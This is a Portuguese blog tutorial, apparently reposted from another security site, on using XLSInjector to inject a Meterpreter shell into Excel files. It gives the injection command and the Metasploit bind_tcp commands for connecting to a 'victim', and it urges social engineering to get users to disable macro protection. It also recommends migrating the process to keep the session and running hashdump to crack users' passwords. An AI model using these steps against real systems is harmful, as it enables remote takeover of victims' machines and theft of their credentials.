XLSInjector – Saiba como injetar um Shell Meterpreter em arquivos Excel
4:47 pm em Hacking, Linux por Samukt
Preparação
Não é um segredo para ninguém que a suíte de programas para escritório mais utilizada no mundo é o Microsoft Office, possuindo a maior fatia do mercado em sistemas operacionais Windows e Mac. Desta suíte, os programas mais utilizados são Microsoft Word, Microsoft Excel e Microsoft Power Point, que quase sempre estão instalados na maioria dos computadores.
Nesse artigo vamos tratar do XLSInjector, uma ferramenta criada por Keith Lee que permite injetar em um arquivo do Microsoft Excel um console meterpreter (executado totalmente na memória ram, sem criar nenhum processo adicional), permitindo-nos acessar o mesmo remotamente a partir da porta 4444 e ganhar controle total da máquina.
Para que o XLSInjector funcione adequadamente, precisamos do seguinte ambiente configurado:
- Uma máquina (virtual ou real) com Windows
- Microsoft Excel
- Perl
- O módulo Win32:OLE para Perl
- Um arquivo XLS para infectar
- XLSInjector
- e por último, o Metasploit Framework
Depois de configurar todos os elementos necessários para o correto funcionamento do XLSInjector, passamos para a execução, que é bem simples:
# perl xlsinjector.pl -i ArquivoDoExcel.xls -o ArquivoComShellDoExcel.xls
Mas nem tudo é tão simples com essa ferramenta, pois o XLSInjector NÃO consegue burlar os filtros de scripts existentes na suíte Microsoft e, justo por isso, é necessário convencer, por meio de engenharia social, ou qualquer outra técnica, que o usuário desabilite as configurações de segurança de macros e que “confie” no arquivo, o que é um pouco complicado, mas que certamente com um pouco de persuasão é possível conseguir.
Supondo que já realizou as configurações necessárias para o correto funcionamento do XLSInjector, vamos acessar remotamente nossa shell meterpreter através do console do Metasploit Framework.
Iniciamos o console do Metasploit:
# ./msfconsole
Uma vez que o console MSF esteja aberto, carregamos o payload do meterpreter:
set payload windows/meterpreter/bind_tcp
Configuramos o payload corretamente, com seus parâmetros:
set RHOST ip_da_vitima
set RPOT 4444
E executamos:
exploit
Com esses passos simples temos à nossa disposição uma shell meterpreter na máquina remota. Temos que ter em mente que uma shell meterpreter é diferente de uma shell de um sistema operacional, e que possui seu próprio conjunto de comando, que pode ser listado simplesmente digitando na shell “?” e pressionando enter. Com esse comando, terá em sua tela algo parecido com isso:
Core Commands
Command Description
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
| Command Description cat Read the contents of a file to the screen cd Change directory download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rmdir Remove directory upload Upload a file or directory |
Stdapi: Networking Commands
| Command Description ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands |
Command Description
| execute Execute a command getpid Get the current process identifier getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shutdown Shuts down the remote computer sysinfo Gets information about the remote system, such as OS |
Stdapi: User interface Commands
| Command Description idletime Returns the number of seconds the remote user has been idle uictl Control some of the user interface components |
Priv: Password database Commands
| Command Description hashdump Dumps the contents of the SAM database |
Priv: Timestomp Commands
| Command Description timestomp Manipulate file MACE attributes |
É sempre bom ressaltar a potência e a capacidade do meterpreter para injetar dll’s, fazer upload de arquivos, executar scripts e etc. Recomendo que dê uma lida no documento Metasploit’s Meterpreter para saber mais sobre os comandos do meterpreter.
Recomendo também utilizar o comando “migrate” tão logo possa, ao conseguir o shell com a máquina alvo, para evitar que assim que fecharem o arquivo XLS, sua conexão também seja encerrada. Outro comando recomendado é o hashdump, que retorna o conteúdo do arquivo SAM da máquina vítima, para que posteriormente se possa obter a senha dos usuários e administradores, utilizando ferramentas como l0phtcrack ou cain&abel.
Por último, deixo abaixo o vídeo do autor da ferramenta XLSInjector, onde ensina o seu funcionamento:
Injecting Meterpreter into Excel files using XLSInjector
Atenção, o Artigo abaixo pertence ao site: Segurança Linux, foi postado pelo autor: LuizVieira. Todo e qualquer crédito pelo artigo deve-se única e exclusivamente a ele.
Autor: carlos_eduardo